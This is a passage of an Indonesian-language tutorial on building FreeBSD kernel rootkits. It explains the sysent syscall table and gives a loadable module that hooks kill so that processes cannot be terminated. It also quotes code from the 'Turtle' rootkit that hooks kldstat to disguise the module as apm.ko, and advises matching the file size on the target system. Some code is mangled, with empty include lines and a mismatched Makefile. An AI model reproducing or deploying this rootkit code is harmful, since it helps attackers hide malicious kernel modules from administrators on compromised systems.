terakhir menggunakan makro DECLARE_MODULE untuk meregister dan melink modul kita ke kernel.
ok kurang lebih bentuk lengkapnya:
nama file :"ev1lut10n.c"
=======================
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
static int load_module(struct module *module, int cmd, void *arg)
{
int error = 0;
switch(cmd)
{
case MOD_LOAD:
uprintf("modul diload\n");
break;
case MOD_UNLOAD:
uprintf("modul diunload");
break;
}
return error;
}
static moduledata_t ev1l_modul = {
"ev1lut10n",
load_module,
NULL
};
/usr/src/sys/sysent.h
===============
* $FreeBSD: src/sys/sys/sysent.h,v 1.60.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
struct sysent { /* system call table */
int sy_narg; /* number of arguments */
sy_call_t *sy_call; /* implementing function */
au_event_t sy_auevent; /* audit event associated with syscall */
systrace_args_func_t sy_systrace_args_func;
/* optional argument conversion function. */
u_int32_t sy_entry; /* DTrace entry ID for systrace. */
u_int32_t sy_return; /* DTrace return ID for systrace. */
u_int32_t sy_flags; /* General flags for system calls. */
};
=============
selanjutnya didefenisikan suatu array dari struktur di file /usr/src/sys/kern/init_sysent.c
/usr/src/sys/kern/init_sysent.c
================
/*
* System call switch table.
*
* DO NOT EDIT-- this file is automatically generated.
* $FreeBSD: src/sys/kern/init_sysent.c,v 1.253.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
* created from FreeBSD: stable/8/sys/kern/syscalls.master 212545 2010-09-13 08:49:08Z kib
*/
struct sysent sysent[] = {
{ 0, (sy_call_t *)nosys, AUE_NULL, NULL, 0, 0, 0 }, /* 0 = syscall */
{ AS(sys_exit_args), (sy_call_t *)sys_exit, AUE_EXIT, NULL, 0, 0, 0 }, /* 1 = exit */
{ 0, (sy_call_t *)fork, AUE_FORK, NULL, 0, 0, 0 }, /* 2 = fork */
{ AS(read_args), (sy_call_t *)read, AUE_NULL, NULL, 0, 0, 0 }, /* 3 = read */
{ AS(write_args), (sy_call_t *)write, AUE_NULL, NULL, 0, 0, 0 }, /* 4 = write */
{ AS(open_args), (sy_call_t *)open, AUE_OPEN_RWTC, NULL, 0, 0, 0 }, /* 5 = open */
=======================snipped (dipotong krn terlalu panjang)===========================
{ AS(setuid_args), (sy_call_t *)setuid, AUE_SETUID, NULL, 0, 0, 0 }, /* 23 = setuid */
{ 0, (sy_call_t *)getuid, AUE_GETUID, NULL, 0, 0, 0 }, /* 24 = getuid */
{ 0, (sy_call_t *)geteuid, AUE_GETEUID, NULL, 0, 0, 0 }, /* 25 = geteuid */
{ AS(ptrace_args), (sy_call_t *)ptrace, AUE_PTRACE, NULL, 0, 0, 0 }, /* 26 = ptrace */
{ AS(recvmsg_args), (sy_call_t *)recvmsg, AUE_RECVMSG, NULL, 0, 0, 0 }, /* 27 = recvmsg */
{ AS(sendmsg_args), (sy_call_t *)sendmsg, AUE_SENDMSG, NULL, 0, 0, 0 }, /* 28 = sendmsg */
{ AS(recvfrom_args), (sy_call_t *)recvfrom, AUE_RECVFROM, NULL, 0, 0, 0 }, /* 29 = recvfrom */
{ 0, (sy_call_t *)pipe, AUE_PIPE, NULL, 0, 0, 0 }, /* 42 = pipe */
{ 0, (sy_call_t *)getegid, AUE_GETEGID, NULL, 0, 0, 0 }, /* 43 = getegid */
{ AS(pselect_args), (sy_call_t *)pselect, AUE_SELECT, NULL, 0, 0, 0 }, /* 522 = pselect */
};
=======================================
kita bisa melihat bahwa tabel sycall di FreeBSD merupakan array dari struktur yang didefinisikan di
/usr/src/sys/kern/init_sysent.c
untuk semantik nomor2 syscall didefinisikan di /usr/src/sys/sys/syscall.h:
===================
/*
* System call numbers.
*
* DO NOT EDIT-- this file is automatically generated.
* $FreeBSD: src/sys/syw/syscall.h,v 1.233.2.4.2.1 2010/12/21 17:09:25 kensmith Exp $
* created from FreeBSD: stable/8/sys/kern/syscalls.master 212545 2010-09-13 08:49:08Z kib
*/
#define SYS_syscall 0
#define SYS_exit 1
#define SYS_fork 2
#define SYS_read 3
#define SYS_write 4
cutted..................
==================
untuk mempermudah akan saya berikan contoh fungsi hooking syscall yang paling pendek dan simple.
pada dasarnya tiap syscall bisa dihook dengan fungsi pendek seperti ini:
============
static int nama_fungi_hooking(struct thread *td, void *syscall_args)
{
int error;
error=0;
return(error);
}
=============
yang mana pada saat modul diload kita registerkan ke struktur array sysent
tekniknya kurang lebih seperti ini:
==============
case MOD_LOAD:
sysent[SYS_nama_syscall_yang_akan_dihook].sy_call = (sy_call_t *)nama_fungsi_hooking;
===================
saat modul diunload struktur bisa kita kembalikan seperti semula dengan syscall asli.
=========================
case MOD_UNLOAD:
sysent[SYS_nama_syscall_yang_akan_dihook].sy_call = (sy_call_t *)syscall_asli;
==============
ok untuk lebih jelasnya perhatikan contoh simple kill hook lkm yang bertujuan untuk
melakukan hooking syscall SYS_kill:
(di ini kita tambahkan 3 header lagi yaitu:
/usr/include/sys/module.h
/usr/include/sys/sysent.h
/usr/include/sys/syscall.h)
file name: kill_hook.c
=============================
/**ev1lut10n simple kill hook lkm
c0d3r: ev1lut10n
**/
#include
#include
#include
#include
#include
#include
#include
#include
static int kill_hook(struct thread *td, void *syscall_args)
{
int error;
error=0;
return(error);
}
static int load_module(struct module *module, int cmd, void *arg)
{
int error = 0;
switch(cmd)
{
case MOD_LOAD:
uprintf("modul diload\n");
sysent[SYS_kill].sy_call = (sy_call_t *)kill_hook;
break;
case MOD_UNLOAD:
uprintf("modul diunload");
sysent[SYS_kill].sy_call = (sy_call_t *)kill;
break;
}
return error;
}
static moduledata_t ev1l_modul = {
"ev1lut10n",
load_module,
NULL
};
DECLARE_MODULE(ev1lut10n, ev1l_modul ,SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
==============================
siapkan Makefile dengan menginclude bsd.kmod.mk
==========
KMOD= read_hook
SRCS= read_hook.c
.include
========
selanjutnya lakukan uji coba:
===================
ev1lut10n# kldload ./kill_hook.ko
modul diload
ev1lut10n# ps aux | tail
root 1345 0.0 0.1 3352 1124 v2 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv2
root 1346 0.0 0.1 3352 1124 v3 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv3
root 1347 0.0 0.1 3352 1124 v4 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv4
root 1348 0.0 0.1 3352 1124 v5 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv5
root 1349 0.0 0.1 3352 1124 v6 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv6
root 1350 0.0 0.1 3352 1124 v7 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv7
root 1540 0.0 0.1 4632 2488 0 Is+ 2:20AM 0:00.03 csh
root 1675 0.0 0.1 4632 2504 2 Ds 2:48AM 0:00.04 csh
root 2110 0.0 0.1 3432 1236 2 R+ 3:23AM 0:00.00 ps aux
root 2111 0.0 0.1 4632 2504 2 DV+ 3:23AM 0:00.00 csh
ev1lut10n# kill -9 1675
ev1lut10n# ps aux | tail
root 1345 0.0 0.1 3352 1124 v2 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv2
root 1346 0.0 0.1 3352 1124 v3 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv3
root 1347 0.0 0.1 3352 1124 v4 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv4
root 1348 0.0 0.1 3352 1124 v5 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv5
root 1349 0.0 0.1 3352 1124 v6 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv6
root 1350 0.0 0.1 3352 1124 v7 Is+ 2:19AM 0:00.00 /usr/libexec/getty Pc ttyv7
root 1540 0.0 0.1 4632 2488 0 Is+ 2:20AM 0:00.03 csh
root 1675 0.0 0.1 4632 2504 2 Ss 2:48AM 0:00.04 csh
root 2112 0.0 0.1 3432 1236 2 R+ 3:23AM 0:00.00 ps aux
root 2113 0.0 0.0 3292 836 2 S+ 3:23AM 0:00.00 tail
ev1lut10n#
=======================
kita bisa lihat uji coba kill pid 1675 tidak bisa dilakukan karena syscall kill telah dihook dengan
fungi kill_hook (dengan prototype syscall) yang telah kita siapkan dan kita sisipkan saat MOD_LOAD:
==========
sysent[SYS_kill].sy_call = (sy_call_t *)kill_hook;
=========
contoh selanjutnya misal hooking syscall SYS_kldstat :
======
#define SYS_kldstat 308
======
maka untuk melakukan hooking dengan meregisterkan fungsi hooking kita pada struktur sysent :
=================
sysent[SYS_kldstat].sy_call = (sy_call_t *)kldstat_hook;
=================
di mana kldstat_hook:
================================================== ==============
/* potongan kode ini merupakan potongan kode hooking kldstat pada turtle freebsd rootkit
by WarGame/EOF - wargame89@yahoo.it */
static int kldstat_hook(struct thread *td,struct kldstat_args *args) /* hide our module */
{
int ret = kldstat(td,args);
size_t fake_size = 24264; /* the size of apm.ko on my system */
if(strcmp(args->stat->name,MOD_NAME) == 0)
{
copyout(&fake_size,&args->stat->size,sizeof(fake_size));
copyout("apm.ko",args->stat->name,7);
#if VERBOSE
printf("Turtle2: blocking kldstat()\n");
#endif
}
return ret;
}
================================================== ===============
untuk melakukan kldstat hooking kita bisa melihat penggunaan prototype untuk syscall:
prototype fungsi untuk syscall :
/usr/include/sys/sysent.h
===========
typedef int sy_call_t(struct thread *, void *);
===========
yaitu:
=====================
static int kldstat_hook(struct thread *td,struct kldstat_args *args) /* hide our module */s
=====================
di ini menggunakan static agar prototype fungi kldstat_hook dengan nilai kembali int bisa dikenali saat
melakukan regiter ke struktur sysent di modul event handler:
perhatikan saat MOD_LOAD event:
==========
sysent[SYS_kldstat].sy_call = (sy_call_t *)kldstat_hook;
===========
selanjutnya di sini kita lihat :
==================
int ret = kldstat(td,args);
==================
yang digunakan untuk menangani request SYS_kldstat yang berasal dari userspace.
yang diikuti dengan
=============================
size_t fake_size = 24264;
=============================
size_t merupakan ukuran suatu objek (variabel / aray / dll) di memori di mana ukuran apm.ko didefinisikan berukuran
24264 (dalam byte) merupakan ukuran file apm.ko yang harus diseuaikan di tiap sistem.
jadi alangkah baiknya jika disesuaikan dengan ukuran file apm.ko di target.
=================
ev1lut10n# ls -lah /boot/kernel/apm.ko
-r-xr-xr-x 1 root wheel 24K Feb 18 2011 /boot/kernel/apm.ko
ev1lut10n#
===================
untuk menyesuaikan bisa menggunakan suatu program userspace dengan logika:
=============
1. mencatat ukuran apm.ko di sistem target
2. mereplace ukuran apm.ko (24264 bytes) pada source code lkm yang belum diinstall
3. selanjutnya baru melakukan kompilasi untuk menciptakan .ko (dengan menginclude bsd.kmod.mk)
4. selanjutnya tinggal pemasangan lkm dengan kldload
=============
if(strcmp(args->stat->name,MOD_NAME) == 0)
=================
selanjutnya membandingkan args->stat->name dengan MOD_NAME jika match maka dilakukan copyout
=======================================
copyout(&fake_size,&args->stat->size,sizeof(fake_size));
copyout("apm.ko",args->stat->name,7);
=======================================
penggunaan "copyout" yang berguna untuk mengkopi data dari kernel space
ke userspace, akan ditampilkan sebagai apm.ko (/boot/kernel/apm.ko) pada saat syscall SYS_kldstat pada tool kldstat.
untuk mencoba pada syscall2 lain bisa Anda lihat daftar syscall pada:
======
/usr/include/sys/syscall.h
======
teknik di atas hanyalah salah satu teknik untuk memblok kldstat, kita masih bisa menggunakan teknik lain.
temporary site: jasaplus.com